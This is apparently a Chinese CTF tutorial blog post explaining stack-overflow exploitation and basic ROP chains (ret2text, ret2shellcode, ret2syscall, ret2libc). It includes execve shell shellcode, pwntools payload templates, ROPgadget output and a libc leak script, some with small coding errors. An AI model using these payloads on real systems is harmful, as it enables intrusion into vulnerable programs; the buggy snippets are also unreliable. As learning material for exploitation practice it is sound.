PWN的基本ROP链构造

查找对应溢出

一般的溢出内容是EIP,因为EIP寄存器存储着我们CPU要读取指令的地址

可以通过 cyclic 数字这个指令来获取判断溢出点的一个长度为输入的一个字符串,再通过gdb调试观察EIP寄存器处的 4 位字符,通过指令cyclic -l 对应EIP的4位字符,得到需要填充的溢出字符长度。

保护模式

NX:防止栈上执行 (需要利用到 bss 段)

Canary:检测是否发生栈溢出

Ret2text

通过计算溢出点的地址到对应返回的栈顶(ebp)的距离来进行溢出,同时要加上对应 ret 所占的 4 个字节。

对应 exp 构造模式:

1
2
shellcode = 对应 /bin/sh/ 地址 
payload = 'a'*[溢出点到栈顶距离] + 'A'*4 + p32/p64(shellcode)

Ret2shellcode

程序中没有出现 /bin/sh/ 地址需要自己构造,构造方式有两种:

  • 23字节

    1
    shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
  • 44字节

    1
    2
    from pwn import *
    shellcode = asm(shellcraft.sh())

一般实现溢出方式类似于 ret2text ,不同的是需要使用 vmmap检查对应的权限,同时也需要观察bss(检查溢出点是否定义在 bss 段上)

对应 exp 构造模式:

1
2
3
bss = bss对应的地址
shellcode = 构造一个shell
payload = shellcode.ljust('a',溢出长度) + p32/p64(bss)

Ret2syscall

程序中同样没有出现 /bin/sh/ 地址需要自己构造,原理为把对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们再执行 int 0x80 就可执行对应的系统调用(知识点Linux下系统调用)。

学习链接:ret2syscall原理详解与实例分析

Syscall 调用规范 execve(“/bin/sh”, 0,0)

它对应的汇编代码为:

1
2
3
4
5
pop eax# 系统调用号载入, execve为0xb
pop ebx# 第一个参数, /bin/sh的string
pop ecx# 第二个参数,0
pop edx# 第三个参数,0
int 0x80

寻找对应可以利用的 ret(gadgets)可以使用 ropgadgets 这个工具

对应寻找步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ROPgadget --binary 对应文件  --only 'pop|ret' | grep 'eax'  //search eax  
0x080bb196 : pop eax ; ret
------------------------------------------------------------------------------------------------------------------
$ ROPgadget --binary 对应文件 --only 'pop|ret' | grep 'ebx' //search ebx\edx\ecx
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
------------------------------------------------------------------------------------------------------------------
$ROPgadget --binary 对应文件 --string '/bin/sh' //search 'bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
-----------------------------------------------------------------------------------------------------------------
$ROPgadget --binary 对应文件 --only 'int' // search int 0x80
Gadgets information
============================================================
0x08049421 : int 0x80

对应 exp 构造模式:

1
2
3
4
5
6
pop_eax_ret = 可利用的 eax 的地址
pop_edx_ecx_ebx_ret = 可利用的 ebx、edx、ecx地址
int_0x80 = int 0x80 的地址
binsh = 'bin/sh' 的地址
payload = flat(['A' * 溢出长度, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
io.sendline(payload)

Ret2libc

ret2libc 即控制函数的执行 libc (Linux下C库) 中的函数,通常是返回至某个函数的 PLT 处或者函数的具体位置 ( 即函数对应的 got 表项的内容 )。一般情况下,我们会选择执行 system("/bin/sh")

学习链接:GOT表和PLT表知识详解

含有 system 和 /bin/sh

一般函数中含有 /bin/shsystem 函数时构造对应的 exp 构建模式为:

1
2
3
binsh_addr = /bin/sh/ 的地址
system_plt = system 函数的地址
payload = flat(['a' * 溢出长度, system_plt,'b' * 4,binsh_addr])

需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。

不含有 /bin/sh

如果函数中不含有 /bin/sh 时,我们需要在bss段上自己构建一个/bin/sh

此时 exp 构造模式为:

1
2
3
4
5
6
system_plt = system 函数地址
gets_addr = 溢出点函数地址
buf_addr = bss 段上变量地址
payload = flat(['a' * 溢出长度,gets_addr,system_plt,buf_addr,buf_addr])
io.sendline(payload)
io.sendline('/bin/sh')

对应的栈分布为:

  • gets地址
  • system地址(也是gets的返回地址)
  • buf2(是gets的参数)
  • buf2(是system的参数)

或者:

寻找一个 pop:

1
2
3
ROPgadget --binary ret2libc2 --only 'pop|ret'| grep 'ebx'
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret

之后的 exp 构造模式:

1
2
3
4
5
6
7
system_plt = system 函数地址
pop_ebx = ret ebx 的地址
gets_addr = 溢出点函数地址
buf_addr = bss 段上变量地址
payload = flat(['a' * 溢出长度,gets_addr,pop_ebx,system_plt,'A'*4,buf_addr])
io.sendline(payload)
io.sendline('/bin/sh')

对应的栈分布为:

  • gets地址
  • pop ebx ;ret地址
  • buf2(gets的参数)
  • system地址
  • system的返回地址(‘AAAA’)
  • buf2(system的参数)

在调用gets函数后,把参数buf2给pop掉,这样返回地址就变成了system,就会返回到system。

不含有 System 和 /bin/sh

两个都没有给出的话需要自己寻找对应版本的 libc

泄露函数地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
io=process('./')
elf=ELF('./')
puts_plt = elf.plt['puts']
libc_start_main_got = elf.got['__libc_start_main']
main = elf.symbols['main']
puts_got = elf.got['puts']

print "leak libc_start_main_got addr and return to main again"
payload = 'a' * 溢出长度 + p32(puts_plt) + p32(main) +p32(libc_start_main_go)
# io.recvuntil('')
io.sendline(payload1)

print "get the related addr"
libc_start_main_addr = u32(p.recv()[0:4])
print("addr:" + hex(libc_start_main_addr))

对应构造 exp 模式为:

1
2
3
4
system_addr = 找到对应 libc 版本后 system 的地址
binsh_addr = 找到对饮 libc版本后 /bin/sh 的地址
payload = flat(['A' * 溢出长度(需要用 cyclic 重新测试), system_addr, 0xdeadbeef, binsh_addr]) # 0xdeadbeef 为 system 地址返回,可以随意设置
sh.sendline(payload)

一共需要两次 exp的编写,便可以完成对没有/bin/shsystemret2libc题目


PWN的基本ROP链构造
https://equinox-shame.github.io/2022/03/14/PWN的基本ROP链构造/
作者
梓曰
发布于
2022年3月14日
许可协议